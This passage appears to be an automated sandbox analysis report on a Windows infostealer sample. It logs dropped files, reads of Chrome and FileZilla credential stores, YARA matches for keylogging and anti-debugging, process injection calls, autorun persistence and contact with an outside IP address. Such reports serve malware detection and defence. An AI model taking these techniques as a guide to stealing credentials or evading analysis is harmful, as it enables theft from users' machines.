file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies

Creates (office) documents on the filesystem (5 events)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Ritrovar.docm
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Aspettavo.docm
file	C:\Users\test22\AppData\Roaming\xbMmzEISfs\Pel.docm
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Inebriarmi.docm
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Pel.docm

Creates executable files on the filesystem (4 events)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Ama.exe.com
file	C:\Users\test22\AppData\Local\Temp\eth.exe
file	C:\Users\test22\AppData\Roaming\xbMmzEISfs\TwXtCRbcda.exe.com
file	C:\Users\test22\AppData\Roaming\xbMmzEISfs\dLBQRcCCvb.js

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\eth.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Ama.exe.com

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Ama.exe.com
file	C:\Users\test22\AppData\Local\Temp\eth.exe

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 8, 2021, 9:42 a.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 8, 2021, 9:42 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (3 events)

url	http://www.microsoft.com/schemas/ie8tldlistdescription/1.0
url	http://purl.org/rss/1.0/
url	http://www.passport.com

Yara rule detected in process memory (40 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Hijack network configuration	rule	Hijack_Network
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Install itself for autorun at Windows startup	rule	Persistence
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Queries for potentially installed applications (39 events)

Time & API	Arguments	Status
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x00000414 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: AddressBook base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: Connection Manager base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: DirectDrawEx base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: EditPlus base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: ENTERPRISE base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: Fontcore base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: Google Chrome base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: IE40 base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: IE4Data base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: IE5BAKEX base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: IEData base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: MobileOptionPack base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: SchedulingAgent base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: WIC base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-0015-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-0016-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-0018-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-0019-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-001A-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-001B-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-001F-0409-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-001F-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-0028-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-002C-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-0030-0000-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-0044-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-006E-0409-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-006E-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-00A1-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-00BA-0409-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {90120000-0114-0412-0000-0000000FF1CE} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1
RegOpenKeyExW Sept. 8, 2021, 9:42 a.m.	regkey_r: {d992c12e-cab2-426f-bde3-fb8c53950b0d} base_handle: 0x00000414 key_handle: 0x00000218 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}	1

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

ping localhost

One or more of the buffers contains an embedded PE file (2 events)

buffer	Buffer with sha1: 90e64e56da4fe5ff5024985d1b1f346368235ced
buffer	Buffer with sha1: 42cff244a035de77d40f8c6351519e74f8ed0620

Communicates with host for which no DNS query was performed (1 event)

host

95.215.205.85

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 139264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000005bc	1	0	0
NtProtectVirtualMemory Sept. 8, 2021, 9:47 a.m.	process_identifier: 1888 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 434176 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 process_handle: 0x0000021c	1	0	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation Sept. 8, 2021, 9:42 a.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

Installs itself for autorun at Windows startup (2 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0				reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TwXtCRbcda.url

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml

Manipulates memory of a non-child process indicative of process injection (3 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2292 manipulating memory of non-child process 1888
NtAllocateVirtualMemory Sept. 8, 2021, 9:47 a.m.	process_identifier: 1888 region_size: 434176 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 4 (PAGE_READWRITE) base_address: 0x000b0000 allocation_type: 12289 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000021c	1	0	0
NtProtectVirtualMemory Sept. 8, 2021, 9:47 a.m.	process_identifier: 1888 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 434176 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 process_handle: 0x0000021c	1	0	0

Potential code injection by writing to the memory of another process (6 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2292 injected into non-child 1888
WriteProcessMemory Sept. 8, 2021, 9:42 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL±Wà0¸âÅ à@ nÈ@ÅOàÔÈðtÅ H.textð· ¸ `.rsrcÔà¼@@.relocÄ@B base_address: 0x00400000 process_identifier: 2760 process_handle: 0x000005bc	1	1	0
WriteProcessMemory Sept. 8, 2021, 9:42 a.m.	buffer: P8hÔàDD4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°¤StringFileInfo000004b0,FileDescription 0FileVersion0.0.0.08InternalNamePretors.exe(LegalCopyright @OriginalFilenamePretors.exe4ProductVersion0.0.0.08Assembly Version0.0.0.0äâêï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x0041e000 process_identifier: 2760 process_handle: 0x000005bc	1	1	0
WriteProcessMemory Sept. 8, 2021, 9:42 a.m.	buffer: Àä5 base_address: 0x00420000 process_identifier: 2760 process_handle: 0x000005bc	1	1	0
WriteProcessMemory Sept. 8, 2021, 9:42 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2760 process_handle: 0x000005bc	1	1	0
WriteProcessMemory Sept. 8, 2021, 9:47 a.m.	buffer: ÿÿÿÿûÿ(üÿPýÿmèÿÿ jHâýÿ± base_address: 0xfffde000 process_identifier: 1888 process_handle: 0x0000021c	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 8, 2021, 9:42 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL±Wà0¸âÅ à@ nÈ@ÅOàÔÈðtÅ H.textð· ¸ `.rsrcÔà¼@@.relocÄ@B base_address: 0x00400000 process_identifier: 2760 process_handle: 0x000005bc	1	1	0

Collects information about installed applications (27 events)

Time & API	Arguments	Status
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Outlook MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Word MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office IME (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office InfoPath MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}\DisplayName	1
